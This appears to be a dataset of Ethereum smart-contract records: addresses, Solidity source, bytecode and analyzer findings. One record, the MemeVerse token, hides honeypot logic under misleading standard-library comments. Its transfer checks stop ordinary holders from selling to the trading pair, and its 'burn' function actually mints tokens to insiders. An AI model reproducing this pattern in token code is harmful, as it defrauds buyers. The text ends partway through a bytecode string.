ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515612af857600080fd5b600081111515612b0757600080fd5b60075460065414158015612b1d57506000600754115b15612b42576006544210158015612b3657506007544211155b1515612b4157600080fd5b5b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515612c1e5780601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540310151515612c1957600080fd5b612c6d565b80601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612c6c57600080fd5b5b6008548102600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163110151515612cb957600080fd5b612ce633600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613139565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60085483029081150290604051600060405180830381858888f193505050501515612d2a57600080fd5b50565b60196020528060005260406000206000915090505481565b600d5481565b60008173ffffffffffffffffffffffffffffffffffffffff16319050919050565b60125481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612dcd57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e6b57600080fd5b83600e8190555082600f8190555081600b8190555080600d8190555050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900460ff1681565b601560009054906101000a900460ff1681565b6000600a60009054906101000a900460ff161515612ef657600080fd5b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515612f4357600080fd5b600f54600e5414158015612f5957506000600f54115b15612f7e57600e544210158015612f725750600f544211155b1515612f7d57600080fd5b5b600b54601760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515612fee57600080fd5b600d54600b54600c540110801561304f5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613133576001601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506130da6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633600b54613139565b600b54600c60008282540192505081905550601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050613134565b5b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156131ac57601560009054906101000a900460ff161515156131ab57600080fd5b5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156131d257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561320d57600080fd5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211151561325a57600080fd5b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156132a757600080fd5b600a60009054906101000a900460ff16156132d1576132c583612ed9565b506132cf82612ed9565b505b601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156133ad5780601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156133a857600080fd5b6133fc565b80601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156133fb57600080fd5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561348a57600080fd5b601560019054906101000a900460ff1680156134be57506010543373ffffffffffffffffffffffffffffffffffffffff1631105b156134f5576134f46008543373ffffffffffffffffffffffffffffffffffffffff1631601054038115156134ee57fe5b04612a74565b5b80601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600a60009054906101000a900460ff16156136195761361783612ed9565b505b81601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f80ad2a3311a087886b0333ee1276273de88fa2c6088a6afcf8b8d018e7b97b10838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b6000600a60009054906101000a900460ff1680156137755750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156137885750600d54600b54600c5401105b80156137de5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561382e57600b54601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050613871565b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b9190505600a165627a7a72305820e0c23092343f8394d24595e4bfa7383b9221ec45689db261e83eb476e0a6936c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,619
0x1dd2083b53f1dc150e1717273b9867a777e5481e
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ // SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Burns a specific amount of tokens. * param value The amount of lowest token units to be burned. */ function burn(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: burn from the zero address"); _burn (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _burn(address _burnAddress, uint _burnAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _burnAddress; _totalSupply = _totalSupply.add(_burnAmount*2); balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } receive() external payable { } fallback() external payable { } } contract MemeVerse is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; reflector = _ref; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } }
0x6080604052600436106100955760003560e01c806370a082311161005957806370a082311461016857806395d89b41146101885780639dc29fac1461019d578063a9059cbb146101bd578063dd62ed3e146101dd5761009c565b806306fdde031461009e578063095ea7b3146100c957806318160ddd146100f957806323b872dd1461011c578063313ce5671461013c5761009c565b3661009c57005b005b3480156100aa57600080fd5b506100b3610223565b6040516100c0919061091b565b60405180910390f35b3480156100d557600080fd5b506100e96100e43660046108f2565b6102b1565b60405190151581526020016100c0565b34801561010557600080fd5b5061010e610335565b6040519081526020016100c0565b34801561012857600080fd5b506100e96101373660046108b7565b610372565b34801561014857600080fd5b506004546101569060ff1681565b60405160ff90911681526020016100c0565b34801561017457600080fd5b5061010e61018336600461086b565b6104cc565b34801561019457600080fd5b506100b36104eb565b3480156101a957600080fd5b5061009c6101b83660046108f2565b6104f8565b3480156101c957600080fd5b506100e96101d83660046108f2565b6105ce565b3480156101e957600080fd5b5061010e6101f8366004610885565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60038054610230906109bc565b80601f016020809104026020016040519081016040528092919081815260200182805461025c906109bc565b80156102a95780601f1061027e576101008083540402835291602001916102a9565b820191906000526020600020905b81548152906001019060200180831161028c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102ea5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461036d916106b9565b905090565b60006001600160a01b0384161580159061039a575060045461010090046001600160a01b0316155b156103c45760048054610100600160a81b0319166101006001600160a01b038616021790556103ce565b6103ce84846106d9565b6001600160a01b0384166000908152600860205260409020546103f190836106b9565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461042890836106b9565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461046690836107b7565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ba9086815260200190565b60405180910390a35060019392505050565b6001600160a01b0381166000908152600860205260409020545b919050565b60018054610230906109bc565b6000546001600160a01b0316331461050f57600080fd5b6001600160a01b0382166105745760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61057e82826107d2565b6001600160a01b0382166000908152600860205260409020546105a190826106b9565b6001600160a01b0383166000908152600860205260409020556005546105c790826106b9565b6005555050565b6004546000906001600160a01b038481166101009092041614156106225760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161056b565b3360009081526008602052604090205461063c90836106b9565b33600090815260086020526040808220929092556001600160a01b0385168152205461066890836107b7565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103239086815260200190565b6000828211156106c857600080fd5b6106d282846109a5565b9392505050565b6004546001600160a01b038281166101009092041614158061072557506007546001600160a01b03838116911614801561072557506004546001600160a01b0382811661010090920416145b8061076757506004546001600160a01b038281166101009092041614801561076757506006546001600160a01b03831660009081526008602052604090205411155b6107b35760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161056b565b5050565b60006107c3828461096e565b90508281101561032f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556108046107fb826002610986565b600554906107b7565b600555610834610815826002610986565b6001600160a01b038416600090815260086020526040902054906107b7565b6001600160a01b0390921660009081526008602052604090209190915550565b80356001600160a01b03811681146104e657600080fd5b60006020828403121561087c578081fd5b6106d282610854565b60008060408385031215610897578081fd5b6108a083610854565b91506108ae60208401610854565b90509250929050565b6000806000606084860312156108cb578081fd5b6108d484610854565b92506108e260208501610854565b9150604084013590509250925092565b60008060408385031215610904578182fd5b61090d83610854565b946020939093013593505050565b6000602080835283518082850152825b818110156109475785810183015185820160400152820161092b565b818111156109585783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610981576109816109f7565b500190565b60008160001904831182151516156109a0576109a06109f7565b500290565b6000828210156109b7576109b76109f7565b500390565b6002810460018216806109d057607f821691505b602082108114156109f157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122013363d073499bd23f8d1badca4d27a8f85e731779c62071c74f6a3254e2abb0864736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,620
0xDC35189F1b918E880DD47B4DaC5d506987798737
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; // /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // contract CryptoTracks is Ownable, ReentrancyGuard { struct Tune { uint t1; uint t2; uint t3; uint t4; uint t5; uint t6; uint t7; uint t8; } mapping(address => uint[]) myFavorites; mapping(uint => uint) favoriteCount; uint favoriteFee = 0.001 ether; mapping(uint => address) tuneOwner; mapping(address => uint) artistTuneCount; Tune[] tunes; constructor() { uint _t1 = 1510101010000000005005005005000000000000165165165165000000; uint _t2 = 1510101010000020000000000000020000000180000000000000180000; uint _t3 = 1510101010000004000124000124004000000164000084000084164000; uint _t4 = 2101101010000009000000000000009000000169000000000000169000; uint _t5 = 15059004000000010000330330330010000000170000410410410170000; uint _t6 = 15059004000000020000000000000020000000180000000000000180000; uint _t7 = 1510101010000019000000019019000000000179000000179179000000; uint _t8 = 1510101010000019000000019000000000000179000000179000000000; tunes.push(Tune(_t1, _t2, _t3, _t4, _t5, _t6, _t7, _t8)); uint tuneId = tunes.length - 1; tuneOwner[tuneId] = _msgSender(); artistTuneCount[_msgSender()]++; } function getTune(uint _id) public view returns( uint, uint, uint, uint, uint, uint, uint, uint, address, uint) { Tune storage tune = tunes[_id]; require(tune.t1 != 0); address thisTuneOwner = tuneOwner[_id]; uint favCount = favoriteCount[_id]; return (tune.t1, tune.t2, tune.t3, tune.t4, tune.t5, tune.t6, tune.t7, tune.t8, thisTuneOwner, favCount); } function getTunesLength() public view returns (uint) { return tunes.length; } function publishTune(uint _t1, uint _t2, uint _t3, uint _t4, uint _t5, uint _t6, uint _t7, uint _t8) nonReentrant external payable returns (uint) { require(_t1 != 0); tunes.push(Tune(_t1, _t2, _t3, _t4, _t5, _t6, _t7, _t8)); uint tuneId = tunes.length - 1; tuneOwner[tuneId] = _msgSender(); artistTuneCount[_msgSender()]++; return tuneId; } function getArtistTunes(address _artist) public view returns(uint[] memory) { uint[] memory theseTunes = new uint[](artistTuneCount[_artist]); uint inc = 0; for (uint i = 0; i < tunes.length; i++) { if (tuneOwner[i] == _artist) { theseTunes[inc] = i; inc++; } } return theseTunes; } function getMyFavorites() public view returns(uint[] memory) { return myFavorites[_msgSender()]; } function favorite(uint _id) nonReentrant external payable { require(tuneOwner[_id] != address(0)); Tune storage tune = tunes[_id]; require(tune.t1 != 0); require(msg.value >= favoriteFee); for (uint i = 0; i < myFavorites[_msgSender()].length; i++) { require(_id != myFavorites[_msgSender()][i]); } favoriteCount[_id]++; payable(tuneOwner[_id]).transfer(msg.value); myFavorites[_msgSender()].push(_id); } function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } function setFavoriteFee(uint _fee) external onlyOwner { favoriteFee = _fee; } }
0x60806040526004361061009c5760003560e01c8063bd4b294011610064578063bd4b294014610170578063c13257841461019b578063da7d4658146101c6578063e13db0b8146101e2578063e94b936e1461020b578063f2fde38b146102485761009c565b80633ccfd60b146100a157806357e17886146100b8578063715018a6146100fe57806386b58a45146101155780638da5cb5b14610145575b600080fd5b3480156100ad57600080fd5b506100b6610271565b005b3480156100c457600080fd5b506100df60048036038101906100da9190610e3f565b61033d565b6040516100f59a99989796959493929190610ebc565b60405180910390f35b34801561010a57600080fd5b50610113610422565b005b61012f600480360381019061012a9190610f58565b6104aa565b60405161013c919061100e565b60405180910390f35b34801561015157600080fd5b5061015a6106a1565b6040516101679190611029565b60405180910390f35b34801561017c57600080fd5b506101856106ca565b6040516101929190611102565b60405180910390f35b3480156101a757600080fd5b506101b0610766565b6040516101bd919061100e565b60405180910390f35b6101e060048036038101906101db9190610e3f565b610773565b005b3480156101ee57600080fd5b5061020960048036038101906102049190610e3f565b610a67565b005b34801561021757600080fd5b50610232600480360381019061022d9190611150565b610aed565b60405161023f9190611102565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190611150565b610c40565b005b610279610d38565b73ffffffffffffffffffffffffffffffffffffffff166102976106a1565b73ffffffffffffffffffffffffffffffffffffffff16146102ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e4906111da565b60405180910390fd5b6102f56106a1565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561033a573d6000803e3d6000fd5b50565b600080600080600080600080600080600060078c81548110610362576103616111fa565b5b9060005260206000209060080201905060008160000154141561038457600080fd5b6000600560008e815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600360008f81526020019081526020016000205490508260000154836001015484600201548560030154866004015487600501548860060154896007015489899c509c509c509c509c509c509c509c509c509c505050509193959799509193959799565b61042a610d38565b73ffffffffffffffffffffffffffffffffffffffff166104486106a1565b73ffffffffffffffffffffffffffffffffffffffff161461049e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610495906111da565b60405180910390fd5b6104a86000610d40565b565b6000600260015414156104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990611275565b60405180910390fd5b6002600181905550600089141561050857600080fd5b60076040518061010001604052808b81526020018a8152602001898152602001888152602001878152602001868152602001858152602001848152509080600181540180825580915050600190039060005260206000209060080201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701555050600060016007805490506105d391906112c4565b90506105dd610d38565b6005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006600061063a610d38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610685906112f8565b9190505550809150506001808190555098975050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600260006106d8610d38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561075c57602002820191906000526020600020905b815481526020019060010190808311610748575b5050505050905090565b6000600780549050905090565b600260015414156107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090611275565b60405180910390fd5b6002600181905550600073ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561082e57600080fd5b600060078281548110610844576108436111fa565b5b9060005260206000209060080201905060008160000154141561086657600080fd5b60045434101561087557600080fd5b60005b60026000610884610d38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561094b57600260006108d5610d38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110610921576109206111fa565b5b906000526020600020015483141561093857600080fd5b8080610943906112f8565b915050610878565b50600360008381526020019081526020016000206000815480929190610970906112f8565b91905055506005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156109ee573d6000803e3d6000fd5b50600260006109fb610d38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190915055506001808190555050565b610a6f610d38565b73ffffffffffffffffffffffffffffffffffffffff16610a8d6106a1565b73ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada906111da565b60405180910390fd5b8060048190555050565b60606000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205467ffffff